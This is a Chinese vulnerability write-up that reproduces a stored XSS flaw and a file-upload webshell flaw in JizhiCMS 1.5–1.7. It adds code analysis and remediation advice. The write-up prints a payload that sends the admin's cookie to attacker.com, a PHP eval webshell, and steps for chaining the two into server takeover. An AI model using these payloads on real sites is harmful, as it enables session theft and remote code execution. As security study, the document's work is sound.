极致CMS两处漏洞复现/存储xss/文件上传Getshell
字数 1405 2025-08-25 22:59:02
极致CMS漏洞分析与复现教学文档
0x00 产品介绍
极致CMS在v1.5至v1.7版本中存在两个严重安全漏洞:
- 存储型XSS漏洞(可获取管理员cookie)
- 文件上传Getshell漏洞
厂商已在后续版本中修复这些漏洞。
0x01 存储型XSS漏洞复现
漏洞描述
该漏洞允许攻击者在前台发表文章时,在标题位置注入恶意XSS代码,当管理员在后台查看文章列表时触发XSS攻击。
复现步骤
-
环境准备
- 搭建极致CMS v1.5至v1.7版本环境
- 确保拥有后台管理员权限
-
漏洞利用
- 在后台创建一个允许用户发布文章的栏目
- 在前台发表文章,在标题位置插入XSS payload,例如:
<script>alert(document.cookie)</script> - 管理员在后台查看文章列表时,XSS代码将被执行
-
获取管理员cookie
- 可以使用更复杂的payload将cookie发送到攻击者控制的服务器:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
- 可以使用更复杂的payload将cookie发送到攻击者控制的服务器:
漏洞分析
-
代码审计
- 漏洞位于
article-list.html文件第191行附近 - 输出函数未对用户输入进行实体化编码或过滤
- 关键代码片段:
,{field: 'title', title: '标题', edit:'text', sort: true}
- 漏洞位于
-
修复建议
- 方案1:移除该功能(如果非必要)
- 方案2:在输出函数上增加实体化编码
- 方案3:在文章发表处增加XSS过滤函数
0x02 文件上传Getshell漏洞复现
漏洞描述
该漏洞允许攻击者通过后台配置修改允许上传的文件类型,结合前台上传功能,可直接上传PHP文件获取Webshell。
复现步骤
-
环境准备
- 搭建极致CMS v1.5至v1.7版本环境
- 拥有后台管理员权限
-
后台配置修改
- 登录后台,进入:系统设置 → 基本设置 → 高级设置
- 找到"允许上传文件类型"配置项(默认值为:pdf|jpg|jpeg|png|zip|rar|gzip|doc|docx|xlsx)
- 添加"php"到允许上传的文件类型中
- 确保"允许前台上传文件"功能已开启
-
前台上传利用
- 注册并登录前台用户账号
- 进入文章发布页面
- 上传包含恶意代码的PHP文件,例如:
<?php @eval($_POST['cmd']);?> - 上传成功后,访问上传的PHP文件即可执行任意代码
漏洞分析
-
安装过程分析
- 系统安装时默认写入允许上传的文件类型到数据库
- 相关SQL语句位于
/install/db.php:INSERT INTO `jz_sysconfig` (`id`,`field`,`title`,`tip`,`type`,`data`) VALUES ('21','fileType','允许上传文件类型', NULL,'0','pdf|jpg|jpeg|png|zip|rar|gzip|doc|docx|xlsx');
-
上传验证机制
- 验证代码位于
/Home/c/CommonController.php - 关键验证逻辑:
// 检测是否允许前台上传文件 if(!$this->webconf['isopenhomeupload']){ $data['error'] = "Error: 已关闭前台上传文件功能"; $data['code'] = 1004; JsonReturn($data); } foreach($_FILES[$file]['name'] as $k=>$v){ $pix = explode('.',$v); $pix = end($pix); $fileType = webConf('fileType'); if(strpos($fileType,strtolower($pix))===false){ $data['error'] = "Error: 文件类型不允许上传!"; $data['code'] = 1002; JsonReturn($data); } } - 漏洞成因:仅检查文件扩展名是否在允许列表中,没有其他安全措施
- 验证代码位于
-
修复建议
- 严格限制后台修改上传文件类型的权限
- 增加文件内容检测机制(如MIME类型检查、文件头检查)
- 禁止上传可执行文件类型(如php、asp等)
- 将上传文件存储在非Web可访问目录
0x03 综合防御建议
-
针对XSS漏洞
- 对所有用户输入进行HTML实体编码
- 实现内容安全策略(CSP)
- 设置HttpOnly标志的cookie
-
针对文件上传漏洞
- 实施白名单机制,严格限制可上传文件类型
- 对上传文件进行重命名(避免直接使用用户提供的文件名)
- 将上传文件存储在非Web根目录
- 对图片文件进行二次渲染
- 限制上传文件大小
-
系统层面
- 及时更新到官方最新版本
- 最小权限原则:限制后台功能的访问权限
- 定期进行安全审计和渗透测试
0x04 总结
极致CMS这两个漏洞组合利用可以形成完整的攻击链:
- 通过存储型XSS获取管理员cookie
- 使用管理员权限修改上传文件类型配置
- 通过前台上传功能获取Webshell
建议使用该CMS的用户立即升级到最新版本,并检查系统是否存在这些漏洞。